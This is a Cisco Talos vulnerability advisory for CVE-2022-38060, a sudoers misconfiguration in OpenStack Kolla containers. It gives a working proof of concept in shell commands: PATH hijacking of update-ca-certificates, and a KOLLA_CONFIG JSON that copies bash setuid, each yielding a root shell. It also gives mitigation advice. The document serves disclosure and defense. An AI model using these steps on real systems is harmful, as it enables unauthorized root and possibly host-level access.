CVE-2022-38060: TALOS-2022-1589 || Cisco Talos Intelligence Group

SUMMARY

A privilege escalation vulnerability exists in the sudo functionality of OpenStack Kolla git master 05194e7618. A misconfiguration in /etc/sudoers within a container can lead to increased privileges.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenStack git master 05194e7618

PRODUCT URLS

OpenStack - https://opendev.org/openstack/

CVSSv3 SCORE

8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-269 - Improper Privilege Management

DETAILS

OpenStack Kolla provides container images and deployment tools for running OpenStack clouds with best practice configurations.

Several Kolla containers have a sudoers policy to allow the application to run limited commands as root, which appears to be defined here:

Matching Defaults entries for nova on <host>:
    setenv

User nova may run the following commands on <host>:
    (root) NOPASSWD: /usr/local/bin/kolla_copy_cacerts
    (root) NOPASSWD: /usr/local/bin/kolla_set_configs
    ...

Of note is the Defaults: %kolla setenv line in /etc/sudoers. This allows users in the kolla group to modify environment variables, and there is no secure_path option that enforces a trusted PATH environment variable. Therefore, the unprivileged user (nova in this example) can change the PATH variable used by sudo, and run arbitrary commands as root when the Kolla scripts call external programs.

Specifically, there are two Kolla-provided scripts that are exploitable via this sudoers configuration.

The first script, kolla_copy_cacerts, calls out to the update-ca-certificates program, which is resolved from the PATH environment variable. This can be exploited by creating a script named “update-ca-certificates” in some writable location, and adding this location to the PATH before running sudo -E kolla_copy_cacerts.

The second script, kolla_set_configs, reads an environment variable for a JSON object or a path to a file containing a JSON object. This JSON specifies the source, destination, ownership and permissions for OpenStack configuration files to be copied. This can be exploited by exporting an environment variable that specifies a program to be copied with its SETUID bit set, and running kolla_set_configs with sudo -E as above.

Some containers (e.g. nova_api) with this configuration are privileged, so in that case, root access inside the container may equate to root privilege on the container host itself.

Exploit Proof of Concept****Method 1 (kolla_copy_cacerts)

Observe current privilege level in container:

$ id
uid=42436(nova) gid=42436(nova) groups=42437(nova),42400(kolla),42427(qemu)

Create a script payload that will be executed as root:

$ echo -e '#!/bin/sh\nexec bash -p' > /tmp/update-ca-certificates
$ chmod 755 /tmp/update-ca-certificates

Update the shell’s PATH environment variable to include the directory that the payload is in, and run the affected script with sudo:

$ PATH=/tmp:$PATH sudo -E /usr/local/bin/kolla_copy_cacerts
# id
uid=0(root) gid=0(root) groups=0(root)

Method 2 (kolla_set_configs)

Observe current privilege level in container:

$ id
uid=42436(nova) gid=42436(nova) groups=42437(nova),42400(kolla),42427(qemu)

Create a JSON object to be parsed by the script and export it to the appropriate environment variable:

$ export KOLLA_CONFIG='{"command":"echo test", "config_files":[{"source":"/bin/bash", "dest":"/tmp/bash", "owner":"root", "perm":"0o6755"}]}'

Run the affected script with sudo and then execute the copied shell:

$ sudo -E /usr/local/bin/kolla_set_configs
$ /tmp/bash -p
# id
uid=0(root) gid=0(root) groups=0(root)

Mitigation

/etc/sudoers within the container should use the secure_path option to prevent the PATH environment variable from being modified; however this will not prevent other possibly dangerous environment variables from being changed. Ideally, the setenv option would be removed from /etc/sudoers altogether, and env_keep could be used for any safe environment variables that do not introduce security holes.

To avoid container compromises resulting in host compromise, avoid using privileged containers; prefer adding individual capabilities as needed.

TIMELINE

2022-08-11 - Vendor Disclosure
2022-08-11 - Initial Vendor Contact
2022-12-20 - Public Release